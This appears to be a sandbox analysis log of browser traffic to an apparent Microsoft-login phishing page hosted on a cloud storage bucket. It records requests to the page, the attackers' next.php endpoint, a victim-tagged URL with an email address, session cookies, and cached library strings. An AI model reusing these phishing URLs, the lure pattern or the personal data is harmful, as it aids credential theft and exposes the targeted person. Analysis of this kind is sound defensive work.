Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/userverify?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /nwfkh03tev.html?e=amromano@steinborn.com HTTP/1.1Host: nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://smsfrica.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: gners4life-1323985617.cos.eu-frankfurt.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/nwfkh03tev.html?e=amromano@steinborn.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: gners4life.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: gners4life.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown

DNS traffic detected: queries for: google.co.za

Source: unknown

HTTP traffic detected: POST /recaptcha/api2/reload?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveContent-Length: 7734sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-protobufferAccept: */*Origin: https://www.google.comX-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 15 Mar 2024 12:58:40 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Fri, 30 Sep 2022 16:13:16 GMTAccept-Ranges: bytesContent-Length: 17108Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 15 Mar 2024 12:58:42 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Fri, 30 Sep 2022 16:16:14 GMTAccept-Ranges: bytesContent-Length: 11816Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: application/xmlContent-Length: 429Connection: closeDate: Fri, 15 Mar 2024 12:59:27 GMTServer: tencent-cosx-cos-request-id: NjVmNDQ2MmZfNzk0ZjU5MGJfYTI2YV82MDQ4YmRi

Source: chromecache_167.1.dr	String found in binary or memory: http://code.jquery.com/jquery-3.3.1.min.js
Source: chromecache_167.1.dr	String found in binary or memory: http://gmpg.org/xfn/11
Source: chromecache_160.1.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_184.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_160.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_160.1.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_160.1.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_160.1.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_160.1.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_126.1.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_126.1.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_161.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6o3ms.woff2
Source: chromecache_161.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.wo
Source: chromecache_161.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.wo
Source: chromecache_168.1.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_160.1.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_160.1.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_160.1.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_160.1.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_160.1.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_169.1.dr	String found in binary or memory: https://github.com/redhotsly/simple-expand
Source: chromecache_168.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_168.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_160.1.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_160.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_160.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_160.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_160.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_160.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_160.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_160.1.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_160.1.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_160.1.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_160.1.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_160.1.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_116.1.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_160.1.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_160.1.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_160.1.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_160.1.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_160.1.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_160.1.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_160.1.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_169.1.dr	String found in binary or memory: https://raw.github.com/redhotsly/simple-expand/master/licence-mit.txt
Source: chromecache_116.1.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_160.1.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_116.1.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_160.1.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_160.1.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_143.1.dr, chromecache_116.1.dr, chromecache_139.1.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_172.1.dr, chromecache_122.1.dr, chromecache_116.1.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__.
Source: chromecache_143.1.dr, chromecache_130.1.dr, chromecache_123.1.dr, chromecache_139.1.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
